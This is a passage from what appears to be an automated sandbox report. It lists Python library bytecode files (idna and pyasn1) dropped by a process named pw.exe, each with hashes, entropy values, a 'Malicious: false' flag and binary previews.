Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	5.033666751480421
Encrypted:	false
SSDEEP:	12:CNSrJBifjefr9xLGmdChEYOcAMmXkOOs28s4qUUjOs28ssqU/zMzx5:ZijeXL/whvOcAdtOb8fcjOb89Dy
MD5:	82E4B7F54E1E521BE5F0E2C500E40832
SHA1:	E8F9C6E69CCF86464C6E4C0DF6BDA2BCE01F9CB6
SHA-256:	750B451729984DAF7E77194ADC6AE91A36EB55F8A8DF5D154A834130B64DA070
SHA-512:	C23BADC219F6AF3D99EE74C580D4926C54DCABBECB356321DBD2EF555A3BD8EDB47F83AB0C9C86E68CBFD5166E1702800C40D775014EFD18C6C25773DB131E35
Malicious:	false
Preview:	o.........Sgd........................@...st...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.d.S.)......)...IDNABidiError..IDNAError..InvalidCodepoint..InvalidCodepointContext..alabel..check_bidi..check_hyphen_ok..check_initial_combiner..check_label..check_nfc..decode..encode..ulabel..uts46_remap..valid_contextj..valid_contexto..valid_label_length..valid_string_length)...intranges_contain)...__version__).r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....N)...corer....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....Z.intrangesr....Z.package_datar......__all__..r....r.....0C:\recover\pw\lib\site-packages\idna\__init__.py..<module>....s....P.......

C:\recover\pw\Lib\site-packages\idna\pycache\core.cpython-310.pyc.74719104

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	9902
Entropy (8bit):	5.440426540463609
Encrypted:	false
SSDEEP:	192:9ePGIILf6b6+bMh9t5uszP0M7Bhu5XCwY2uVNnaMWT/czpko:sPpI9+bMPt5usb1h0XFY2ubnUbQ
MD5:	79AF7B564230054474619450E5D0A474
SHA1:	D8E291EE7F8DBB3A953B6BB04B0503560E44EC93
SHA-256:	EE6147F919D97511836F8E0D89EBA311FE70891E0629B45D8CB4935EAB2C9F74
SHA-512:	1208B026FFAAE860971424EC3C57465FF571618EFE8AAD40101E01AC7CD623C3F8A8E1F2DF40C70CE438F7489CC762775AE199E018DDF2B45171A7075FE95BBB
Malicious:	false
Preview:	o.........SgR5.......................@...sj...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.Z.d.Z.e...d...Z.d.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.e.d.e.f.d.d...Z.d.e.d.e.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.e.e.f...d.e.f.d.d ..Z.d.e.e.e.f...d!e.d.e.f.d"d#..Z.dFd.e.d%e.d.e.f.d&d'..Z.d.e.d.e.f.d(d)..Z.d.e.d.e.f.dd+..Z d.e.d.d.f.d,d-..Z!d.e.d.e.d.e.f.d/d0..Z"dFd.e.d.e.d1e.d.e.f.d2d3..Z#d.e.e.e.e$f...d.d.f.d4d5..Z%d.e.d.e.f.d6d7..Z&d.e.e.e.e$f...d.e.f.d8d9..Z'dGd;e.d<e.d=e.d.e.f.d>d?..Z(.$.$.$.$dHd.e.e.e.e$f...d@e.dAe.d<e.d=e.d.e.f.dBdC..Z).$.$.$dId.e.e.e.e$f...d@e.dAe.d<e.d.e.f.dDdE..Zd.S.)J.....N)...Optional..Union.....)...idnadata)...intranges_contain.....s....xn--u....[....])%.0....1....2....3....4....5....6....7....8....9...._....a....b....c....d....e....f....g....h....i....j....k....l....m....n....o....p....q....r....s....t....u....v....w....x....y....z...c....................@........e.Z.d.Z.d.Z.d.S.)...IDN

C:\recover\pw\Lib\site-packages\idna\pycache\idnadata.cpython-310.pyc.75342272

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	198604
Entropy (8bit):	3.5203680043674423
Encrypted:	false
SSDEEP:	1536:fIS0p2ZbbO4g3aD8yynBXdD4RoC2Mo+4S+s8ecqmUM2UK+QQeky22ImSsEgYtqWy:f621S458yy6
MD5:	3B7B7D9FE2C0B833A7FF02D35F96843D
SHA1:	CE79AD0354B7645220A03C1E3009F3ED9E83D411
SHA-256:	579D279FAC23B275AE4A595225BBD9D41057D0E811719A7F1870CBF6E3CF6D39
SHA-512:	5EEA12706B803A7A876D9FCAAD86BAB2F67E1E1616D1DF56E69C6AA5599D7E1CD4F6F204F5C07F5F8C73565E949D2D065C1520508BD497F4F441B545414E1AF3
Malicious:	false
Preview:	o.........Sg.7.......................@...s.]..d.Z.d.d.d.d.d.d...Z.i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d d...d!d...d"d...d#d...d$d...d%d...d&d...d'd...d(d...d)d.....i.d*d...d+d...d,d...d-d...d.d...d/d...d0d...d1d...d2d...d3d...d4d...d5d...d6d...d7d...d8d...d9d...d:d.....i.d;d...d<d...d=d...d>d...d?d...d@d...dAd...dBd...dCd...dDd...dEd...dFd...dGd...dHd...dId...dJd...dKd.....i.dLd...dMd...dNd...dOd...dPd...dQd...dRd...dSd...dTd...dUd...dVd...dWd...dXd...dYd...dZd...d[d...d\d.....i.d]d...d^d...d_d...d`d...dad...dbd...dcd...ddd...ded...dfd...dgd...dhd...did...djd...dkd...dld...dmd.....i.dnd...dod...dpd...dqd...drd...dsd...dtd...dud...dvd...dwd...dxd...dyd...dzd...d{d...d\|d...d}d...d~d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.

C:\recover\pw\Lib\site-packages\idna\pycache\intranges.cpython-310.pyc.75355392

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1937
Entropy (8bit):	5.272711595591983
Encrypted:	false
SSDEEP:	48:zrDo6itCRy/ORh72sN+Rl/99X7iEvR9Bn:zrc7kR2sNC/9t7jvN
MD5:	60D3156106F544B8165FAD63BB308C02
SHA1:	EE4755A2F4F0AE0DB16CA365CBEA1136D30430C5
SHA-256:	69B0B54FE58B77EBCE98A548B6030FF9CD0C387FC7F50EE34381AF1DC3658AA9
SHA-512:	2D9EAF4E9002F39239E61E7550B2C87A17A7B9ABB02F19CA3BE6FD61FE2C30875E058E6F397661B5214621147574E4147ACC5F83F9B438CD1ECD7EE17094D5C1
Malicious:	false
Preview:	o.........Sgj........................@...s....d.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.e.e...d.e.e.d.f...f.d.d...Z.d.e.d.e.d.e.f.d.d...Z.d.e.d.e.e.e.f...f.d.d...Z.d.e.d.e.e.d.f...d.e.f.d.d...Z.d.S.).a.....Given a list of integers, made up of (hopefully) a small number of long runs.of consecutive integers, compute a representation of the form.((start1, end1), (start2, end2) ...). Then answer the question "was x present.in the original list?" in time O(log(# runs)).......N)...List..Tuple..list_..return.c....................C...s....t.\|...}.g.}.d.}.t.t.\|.....D.]1}.\|.d...t.\|...k.r%\|.\|...\|.\|.d.....d...k.r%q.\|.\|.d...\|.d.......}.\|...t.\|.d...\|.d...d.........\|.}.q.t.\|...S.).a....Represent a list of integers as a sequence of ranges:. ((start_0, end_0), (start_1, end_1), ...), such that the original. integers are exactly those x such that start_i <= x < end_i for some i... Ranges are encoded as single integers (start << 32 \| end), not as tuples.. ..........r....)...sorted..range..len..append.._e

C:\recover\pw\Lib\site-packages\idna\pycache\package_data.cpython-310.pyc.65704072

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	164
Entropy (8bit):	4.6097669395021335
Encrypted:	false
SSDEEP:	3:y/BNy8uletxbkCoeJ/Lt/lPlBdMWkVWrzSBw5JOmIOt2TgN:y/7qetGCow5h7kArmBw5Ampt2s
MD5:	915CBBFFDCB318DB05288E8759D3417A
SHA1:	D04D8D36FDA403331C12319A35173B760D2F0DAF
SHA-256:	AAB1B677AB83BDB71EDBA30F95EA97B56C9BFFA88D6E92BF7431DE3F10F0AEE0
SHA-512:	26B18F278F086036A11CA5220BE5CD90A9E82BCFBE14C88C8AAADFC32DE583C7632DB82F784F1E8C302D5F11D12DDDF401A1D91B4A5E500236BEDD184386D749
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.S.).z.3.9N)...__version__..r....r.....4C:\recover\pw\lib\site-packages\idna\package_data.py..<module>....s......

C:\recover\pw\Lib\site-packages\pyasn1\pycache\init.cpython-310.pyc.75188600

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	164
Entropy (8bit):	4.655046614485622
Encrypted:	false
SSDEEP:	3:y/BNsl0uletxbkCoJ1tt/lPluRQdMWkVWrzL1dM4LkcTgM:y/MaqetGCoJ1rOG7kArdnt
MD5:	05D104D32F54BD3D74B8FB4D2A895DF7
SHA1:	A4084EA598817E643E9757F8B8FEEC11F77D0BAC
SHA-256:	E8F9498E3951B07CE24DD7F0F5156594E8F6368206C2AD90CC066DD254A7746B
SHA-512:	571E882C98CF1948B444F3D4F31B8C0664A6EDA1F079F73B08D20CDAB82D335943B8E76E3FBC743E62DCEB61ED69F524FB55B8985A6557759FF44B57AB4CDF89
Malicious:	false
Preview:	o.........SgB........................@...s....d.Z.d.S.).z.0.6.1N)...__version__..r....r.....2C:\recover\pw\lib\site-packages\pyasn1\__init__.py..<module>....s......

C:\recover\pw\Lib\site-packages\pyasn1\pycache\debug.cpython-310.pyc.76496784

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4108
Entropy (8bit):	4.980046548974931
Encrypted:	false
SSDEEP:	96:UP//QELK0E+xQk5QMwJ9v9YitXwqiOEsRuUOGnBiw:UPm0XQ1MwzOOFRTBp
MD5:	45F9EED6B7DA5C24D5DC32EEE586F240
SHA1:	76F6FCBE58C608E6B333BBC90A060620F928F543
SHA-256:	73FB8D513B4497E0E35F95163DEED78319B70AFDACCBCFA9ACC97FEA4D8FEBE0
SHA-512:	734A1467E80DBF98AF636906B2D8F9D1962ADA2138B8AA152ACAC3A773015CFF8CCC114B49BEE71FB1189773338F36FF6EA8AC15D3E384EC76736E87844D5E79
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...g.d...Z.d.Z.d.Z.d.Z.d.Z.e.e.e.e.d...Z.i.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e.a.d.d...Z.d.e.f.d.d...Z.d.d...Z.G.d.d...d.e...Z.e...Z.d.S.)......N)...__version__)...error)...Debug..setLogger..hexdump..........i....)...none..encoder..decoder..allc....................@...s&...e.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.S.)...PrinterNc....................C...sj...\|.d.u.r.t...d...}.\|...t.j.....\|.d.u.r.t.....}.\|.d.u.r t...d...}.\|...\|.....\|...t.j.....\|...\|.....\|.\|._.d.S.).N..pyasn1z!%(asctime)s %(name)s: %(message)s)...logging..getLogger..setLevel..DEBUG..StreamHandler..Formatter..setFormatter..addHandler.._Printer__logger)...self..logger..handler..formatter..r...../C:\recover\pw\lib\site-packages\pyasn1\debug.py..__init__ ...s..........................z.Printer.__init__c....................C........\|.j...\|.....d.S...N).r......debug..r......msgr....r....r......__call__2..........z.Printer.__call__c....................C

C:\recover\pw\Lib\site-packages\pyasn1\pycache\error.cpython-310.pyc.76059592

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4077
Entropy (8bit):	4.9711143771120945
Encrypted:	false
SSDEEP:	96:+ce+V9bNTz9XBMXG8oD78Or+3rDWXId4d32NxjbiuipJ:GqZJ9GWKOr+3eId632TjbriH
MD5:	DBB0D79D96BC6E680D69F074D2F5743C
SHA1:	9FE6CEAAE11D5E4C9B6C4A0C695D7A1D293E9DF9
SHA-256:	38D94BC9A3044B3D7E991C8A5699D6EFAF60D9D13A0242A3F36D02C9197A850F
SHA-512:	CB5EEFCAB204E88B9518C8088B86E8C676437BCD67F1B99131F08D606F81804D37780FB1FD0C08511CF6A70E75451459E40DBBED3B7D174ED6D3185B90D1FD91
Malicious:	false
Preview:	o.........Sg.........................@...s....G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e.e...Z.G.d.d...d.e.e...Z.G.d.d...d.e.e...Z.d.S.).c....................@...s$...e.Z.d.Z.d.Z.d.d...Z.e.d.d.....Z.d.S.)...PyAsn1ErroraB...Base pyasn1 exception.. `PyAsn1Error` is the base exception class (based on. :class:`Exception`) that represents all possible ASN.1 related. errors... Parameters. ----------. args:. Opaque positional parameters.. Keyword Args. ------------. kwargs:. Opaque keyword parameters.. c....................O...s....\|.\|._.\|.\|._.d.S...N)..._args.._kwargs)...self..args..kwargs..r...../C:\recover\pw\lib\site-packages\pyasn1\error.py..__init__....s........z.PyAsn1Error.__init__c....................C...s....\|.j...d.i...S.).a7...Return exception context.. When exception object is created, the caller can supply some opaque. context for the upper layers to better understand the c

C:\recover\pw\Lib\site-packages\pyasn1\codec\pycache\init.cpython-310.pyc.76334432

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	149
Entropy (8bit):	4.3420290382017335
Encrypted:	false
SSDEEP:	3:y/BNllCuleh/wZWeWJ2MWkVWrzL1A67kcTgp:y/6qeh/w6JIkArdA6x4
MD5:	5A18BD818636E94A51C0FF49635B1562
SHA1:	28D95FE686FC64227CEF0B2FFF9419C55370ACEF
SHA-256:	98F82FF82A2BDC886A268CF417E8FFD0DD7847FA1AEA854B90B0AA39F7C289CB
SHA-512:	34E972FE916698039EEC3A42F9A1725DF8EDD9ECC33D8D3E03D63E93BB8EAA1E17E7516428AF5A0C4E7F1281D083CCF4C7FDDCECC6F924729FCA1133A75CE20B
Malicious:	false
Preview:	o.........Sg;........................@...s....d.S.).N..r....r....r.....8C:\recover\pw\lib\site-packages\pyasn1\codec\__init__.py..<module>....s......

C:\recover\pw\Lib\site-packages\pyasn1\codec\pycache\streaming.cpython-310.pyc.76336448

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5810
Entropy (8bit):	5.271897468516215
Encrypted:	false
SSDEEP:	96:7+ZlQBEsXLKHLEQ8yjdQBblCEdS1azu5VZ6qMwxqNo+dTqVSM5LleeVOpRfYyU6W:a3rZ+jCr1azunZNMLoeTsH5LlL6RfYTv
MD5:	20CE45B27896B0453B42AA6E651CC74F
SHA1:	19C49C217005F738A2943C3CAF1D093E87541742
SHA-256:	6DB78E93761DAC82395224B9FE4432D000F45069CA4838D46CDEFD436C778863
SHA-512:	8FDB21FDE7954F80875123219F1379438020540FD672B2F556B4667B7B614AF13FB27A56EDB8FA87B97AA484A291EBD0B838C619D6323D787BC3607439C59644
Malicious:	false
Preview:	o.........Sg.........................@...sb...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e.j...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.)......N)...error)...univc....................@...sd...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.e.j.f.d.d...Z.d.d.d...Z.e.d.d.....Z.e.j.d.d.....Z.d.d...Z.d.S.)...CachingStreamWrappera....Wrapper around non-seekable streams... Note that the implementation is tied to the decoder,. not checking for dangerous arguments for the sake. of performance... The read bytes are kept in an internal cache until. setting _markedPosition which may reset the cache.. c....................C...s....\|.\|._.t.....\|._.d.\|._.d.S...Nr....)..._raw..io..BytesIO.._cache.._markedPosition)...self..raw..r.....9C:\recover\pw\lib\site-packages\pyasn1\codec\streaming.py..__init__....s..........z.CachingStreamWrapper.__init__c....................C...s$...\|...\|...}.\|.j...t.\|.....t.j.....\|.S...N)...readr......seek..len..os..SEEK_CUR).r......n..resultr....r....r......p

C:\recover\pw\Lib\site-packages\pyasn1\codec\ber\pycache\init.cpython-310.pyc.75993568

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	153
Entropy (8bit):	4.348341160454957
Encrypted:	false
SSDEEP:	3:y/BNllCuleh/wZWeqTKMWkVWrzL19AXkcTgp:y/6qeh/w8MkArdm4
MD5:	17509E339B3B5B3853DF639158A1662F
SHA1:	93BD2B75A64B9EF55D1FA6381685E658D3E703FF
SHA-256:	06B1BD79F8280D09922F493DCF079A2B5D6BDA48B6503EF71BB6B83C4A8037A5
SHA-512:	B4382259C7A1E1CDE11E129734F7C936582D7C6AF7A230E2832E4F98670FBC005644D3A91B129160D35669514FD247A3B9A3243FB04CA1F7A15307BC6205656D
Malicious:	false
Preview:	o.........Sg;........................@...s....d.S.).N..r....r....r.....<C:\recover\pw\lib\site-packages\pyasn1\codec\ber\__init__.py..<module>....s......

C:\recover\pw\Lib\site-packages\pyasn1\codec\ber\pycache\decoder.cpython-310.pyc.76470496

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	42151
Entropy (8bit):	5.64780382011022
Encrypted:	false
SSDEEP:	768:1WO8A/SzSYCTAE7rMi7Oj7KRXjT0DZESJDv/yY7cwel7+gkVy0/lpPUno7wwzY:1WjAqzSSEciqj7KRXjs7f+7MpKt
MD5:	6061BD5D8DEE9DB9883FF42B89CA838E
SHA1:	B9604C2D46A62E9B0D8A068403CC62FBC8A54A8D
SHA-256:	1AC54273290BFC4D493FC02BB1B5685A4D37D9F9514131DA63F577B0FC049557
SHA-512:	1FBC8A74AB9B02A8B4FEF13B68BAF46E128CCFF9F12C0EDBB38851D6F69675B19BC899DEB6F71FAD59AE46D3F0B80035EB4B2A12DDBBBEC37E5D32D315A3FAAA
Malicious:	false
Preview:	o.........SgX5.......................@...sT...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.e.j.e.e.j.d...Z.e.j.Z.e.j.Z.G.d.d...d.e ..Z!G.d.d...d.e!..Z"G.d.d...d.e"..Z#e#..Z$G.d.d...d.e"..Z%G.d.d...d.e%..Z&G.d.d...d.e"..Z'G.d.d ..d e"..Z(G.d!d"..d"e"..Z)G.d#d$..d$e"..ZG.d%d&..d&e"..Z+G.d'd(..d(e"..Z,G.d)d..de!..Z-G.d+d,..d,e-..Z.G.d-d...d.e...Z/G.d/d0..d0e/..Z0G.d1d2..d2e/..Z1G.d3d4..d4e...Z2G.d5d6..d6e2..Z3G.d7d8..d8e2..Z4G.d9d:..d:e...Z5G.d;d<..d<e"..Z6G.d=d>..d>e(..Z7G.d?d@..d@e(..Z8G.dAdB..dBe(..Z9G.dCdD..dDe(..Z:G.dEdF..dFe(..Z;G.dGdH..dHe(..Z<G.dIdJ..dJe(..Z=G.dKdL..dLe(..Z>G.dMdN..dNe(..Z?G.dOdP..dPe(..Z@G.dQdR..dRe(..ZAG.dSdT..dTe(..ZBG.dUdV..dVe(..ZCG.dWdX..dXe(..ZDi.e.jEjFe%....e.jGjFe&....e.jHjFe'....e.jIjFe(....e.jJjFe)....e.jKjFe....e.jLjFe+....e.jMjFe%....e.jNjFe,....e.jOjFe/....e.jPjFe2....e.jQjF

C:\recover\pw\Lib\site-packages\pyasn1\codec\ber\pycache\eoo.cpython-310.pyc.75994240

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	764
Entropy (8bit):	5.050860603950484
Encrypted:	false
SSDEEP:	12:CwYgNnMNXk/mJDDBpYNkvDMyxLWaNunbGBPLLnlkszwIpDKm1l+0TqSjciKtu0Qb:DMN0EngkvZJW64GBeszRD3QWqSoFB6GU
MD5:	A0D7A5EC9B2B152ED9A7191F3215B7CF
SHA1:	C7DBDBAE576E99D42D94FC9EDAD1233DBC139E40
SHA-256:	229FF912097F43C60806BA2AB8AA77CD01CBF4B447D5B398B78E6E36D6029711
SHA-512:	1E53C184EB5BBCBD2FAFBDAE8806ED90D7400FD886DCB47350596B7A99E8341E0C9120FF0674FD399D98E3EDE276999019D15FC2DBFA9ADE880BDD50BA38A476
Malicious:	false
Preview:	o.........Sg.........................@...s:...d.d.l.m.Z...d.d.l.m.Z...d.g.Z.G.d.d...d.e.j...Z.e...Z.d.S.)......)...base)...tag..endOfOctetsc....................@...s4...e.Z.d.Z.d.Z.e...e...e.j.e.j.d.....Z.d.Z.d.d...Z.d.S.)...EndOfOctetsr....Nc....................O...s*...\|.j.d.u.r.t.j.\|.g.\|...R.i.\|.....\|._.\|.j.S.).N)..._instance..object..__new__)...cls..args..kwargs..r.....7C:\recover\pw\lib\site-packages\pyasn1\codec\ber\eoo.pyr........s..........z.EndOfOctets.__new__)...__name__..__module__..__qualname__Z.defaultValuer......initTagSet..Tag..tagClassUniversal..tagFormatSimple..tagSetr....r....r....r....r....r....r........s..................r....N)...pyasn1.typer....r......__all__..SimpleAsn1Typer....r....r....r....r....r......<module>....s..............

C:\recover\pw\Lib\site-packages\pyasn1\codec\cer\pycache\init.cpython-310.pyc.76336672

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	153
Entropy (8bit):	4.337820634478246
Encrypted:	false
SSDEEP:	3:y/BNllCuleh/wZWeqTKMWkVWrzL18ygOkcTgp:y/6qeh/w8MkArd8Nu4
MD5:	EB591EF04EE760C2F8E8AA5534895351
SHA1:	C5E17498C754A9AEE03E497170CB9EC35115A185
SHA-256:	79DC4329047DE66D3B7580D0289DE83949A2CA5D186B91023EADECE42128A5DE
SHA-512:	8C22783B90123B5994359CCD3D5758C73B1136A698C1F708A5669F60C12BEE836E6045FBDA7D36196DA6A4C645A62FC326798C0CC017B13B276B1D687969E5D7
Malicious:	false
Preview:	o.........Sg;........................@...s....d.S.).N..r....r....r.....<C:\recover\pw\lib\site-packages\pyasn1\codec\cer\__init__.py..<module>....s......

C:\recover\pw\Lib\site-packages\pyasn1\codec\cer\pycache\decoder.cpython-310.pyc.76336224

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2484
Entropy (8bit):	5.38046615336053
Encrypted:	false
SSDEEP:	48:+z8iXwFKzH/u19DflQ6ejclOVaJORi6Zy0punszpDVYRB:+z5XTfcfXEaJONNpunszp5K
MD5:	B8178D6C775833D33B3EBF9CE16957C3
SHA1:	E739145BE87EA5557CD61572B02028FF068B4BC6
SHA-256:	F34ADB606A8C129577C5DBEDC5B79801FC304FF008CD908C6CCF98E62B02E6AA
SHA-512:	73A065B9B4EB1F5404479F28E78435C015FFAEBC46BC9F85822F682BB257E701A3DB1118B76EA2F50429BBD62D75A175CD635B1BA4389E89F0EA0CD13CB98A8D
Malicious:	false
Preview:	o.........Sg.........................@...s8...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.g.Z.e.j.Z.G.d.d...d.e.j...Z.e.j.Z.e.j.Z.e.j.Z.e.j.....Z.e...e.j.j.e...e.j.j.e...e.j.j.e...e.j.j.e...i.....e.j.....Z.e.....D.].Z.e.j.d.u.rte.j.j.j.Z.e.d.u.rte.e.v.rte.e.e.<.q\G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j ..Z e ..Z!d.e"f.d.d...Z#d.S.)......N)...error)...readFromStream)...decoder)...univ..decode..StreamingDecoderc....................@...s$...e.Z.d.Z.e...d...Z.....d.d.d...Z.d.S.)...BooleanPayloadDecoderr....Nc....................k...s......\|.d.k.r.t...d.....t.\|.\|.\|...D.].}.t.\|.t...r.\|.V...q.\|.d...}.\|.d.k.r&d.}.n.\|.d.k.r-d.}.n.t...d.\|.......\|.j.\|.\|.\|.f.i.\|.....V...d.S.).N.....z Not single-octet Boolean payloadr.........z.Unexpected Boolean payload: %s).r....Z.PyAsn1Errorr......isinstance..SubstrateUnderrunErrorZ._createComponent)...selfZ.substrateZ.asn1Spec..tagSet..length..stateZ.decodeFunZ.substrateFun..options..chunk..byte..value..r.....;C:\recover\pw\lib\site-pa

C:\recover\pw\Lib\site-packages\pyasn1\codec\der\pycache\init.cpython-310.pyc.76337008

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	153
Entropy (8bit):	4.340203170273019
Encrypted:	false
SSDEEP:	3:y/BNllCuleh/wZWeqTKMWkVWrzL17BOkcTgp:y/6qeh/w8MkArd04
MD5:	5D42C0EF5D93CF8A831A1A8098A4251F
SHA1:	81AE8D9883C59FE3093C9E526EE9216C602F841F
SHA-256:	F8843573CE4D33A8E7F46B0D355FC8CC92DB0CB673ED89478AE1D7C3B173CCEA
SHA-512:	B37A2048B612A28429508AAFD36D3F12A4C86C7A2C0F6EFF378EC8BEA83DB73021E95BEB4CE8EB8EF166349319E82FE63FB75FD162E810019D8E1A60DF7ECEB8
Malicious:	false
Preview:	o.........Sg;........................@...s....d.S.).N..r....r....r.....<C:\recover\pw\lib\site-packages\pyasn1\codec\der\__init__.py..<module>....s......

C:\recover\pw\Lib\site-packages\pyasn1\codec\der\pycache\decoder.cpython-310.pyc.76335440

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1851
Entropy (8bit):	5.096926416135704
Encrypted:	false
SSDEEP:	24:qjM1Beausa5bi6PPevNLPKcDP4h8bM8rc6826aFQc6ZLCJckPyhvc4J4XQCBf:VNkiuPQzHDwmPrS216ZOcBzAn1
MD5:	F324540EB85B6D3D66D4AA39F8462E24
SHA1:	BAD6F1158A9C4ABE60E532FEEE65F8A23D96CEF6
SHA-256:	8B11262E2DC0FA4A01A6E6BCC8943A4AB7B980EAB57BBBF5C37FF82137D0694C
SHA-512:	FCC32B1925D4AED68B4297F11D627C569ED584BED3B3DB26985358E5975534D61E2C3B0831AF45A63B58D03A09641B9677D2B5F143E06A9F4F0EEA45F07897AB
Malicious:	false
Preview:	o.........Sgd........................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.g.Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.e.j.Z.e.j.....Z.e...e.j.j.e...e.j.j.e...e.j.j.e...i.....e.j.....Z.e.....D.].Z.e.j.d.u.rce.j.j.j.Z.e.d.u.rce.e.v.rce.e.e.<.qKG.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.e...Z.d.e.f.d.d...Z.d.S.)......N)...decoder)...univ..decode..StreamingDecoderc....................@........e.Z.d.Z.d.Z.d.S.)...BitStringPayloadDecoderFN....__name__..__module__..__qualname__Z.supportConstructedForm..r....r.....;C:\recover\pw\lib\site-packages\pyasn1\codec\der\decoder.pyr.................r....c....................@...r....)...OctetStringPayloadDecoderFNr....r....r....r....r....r........r....r....c....................@...s ...e.Z.d.Z.e.j.j.Z.e.Z.e.Z.d.Z.d.S.)...SingleItemDecoderFN).r....r....r....r....r......__doc__..TAG_MAP..TYPE_MAPZ.supportIndefLengthr....r....r....r....r....+...s..............r....c....................@........e.Z.d.Z.e.j.j.Z.e.Z.d.S.).r....N).r....r....r.

C:\recover\pw\Lib\site-packages\pyasn1\compat\pycache\init.cpython-310.pyc.75993680

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	171
Entropy (8bit):	4.718920730089099
Encrypted:	false
SSDEEP:	3:y/BNW/ctulev/Lgl2jrEsnlllPlJGMWkVWrzL1aD67kcTgk:y/Hqev/Ulcrfllp4kArdaDuR
MD5:	A36A16A87A3C914BACE24101B1427BE8
SHA1:	FC83DE972CE2A07A37FE2F9A0297CA8F8467D09D
SHA-256:	B312013D4CC093FA9EB7B5A64EA52CB11F2A60100CE0DD14F70F70C5679C5546
SHA-512:	91915378D300324CDA225AC89D6BD63DF8EC9BE140FE099872793720BC4E8E3165C2983DA4A59C5D1AD68E8DBBEE8D5BE6A1EA00666EDFD0DEE2E11481474954
Malicious:	false
Preview:	o.........Sgp........................@...s....e...Z.d.S.).N)...objectZ._MISSING..r....r.....9C:\recover\pw\lib\site-packages\pyasn1\compat\__init__.py..<module>....s......

C:\recover\pw\Lib\site-packages\pyasn1\compat\pycache\integer.cpython-310.pyc.75996592

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	405
Entropy (8bit):	4.807223179670478
Encrypted:	false
SSDEEP:	6:y/vGl//rCo/10MIPLsXSjAfNs//w0UuDPLyYpKX6sfJIkArda1lA0ikdX+mqqqJ:CelXrC664jlsSuD2T5X1lA0ikdOZqqJ
MD5:	A166B5B5FF2A25E1E9EBB05405E30D29
SHA1:	1D7502A19E9F94CDA550CD06F30812FC05EFD9DD
SHA-256:	59986B4B5D78C94660EBAEEB7D0553364BB3C33D9857972306D4E12CA711066B
SHA-512:	B2BE966096927EEF927BF5D1B6D79FD96AE5A2685D2F5A3946AFEE9C0E1BEB55DF1B465CA591C7CDBBCB733FEED3D9347B271FDD79FC80460674F1D49E076591
Malicious:	false
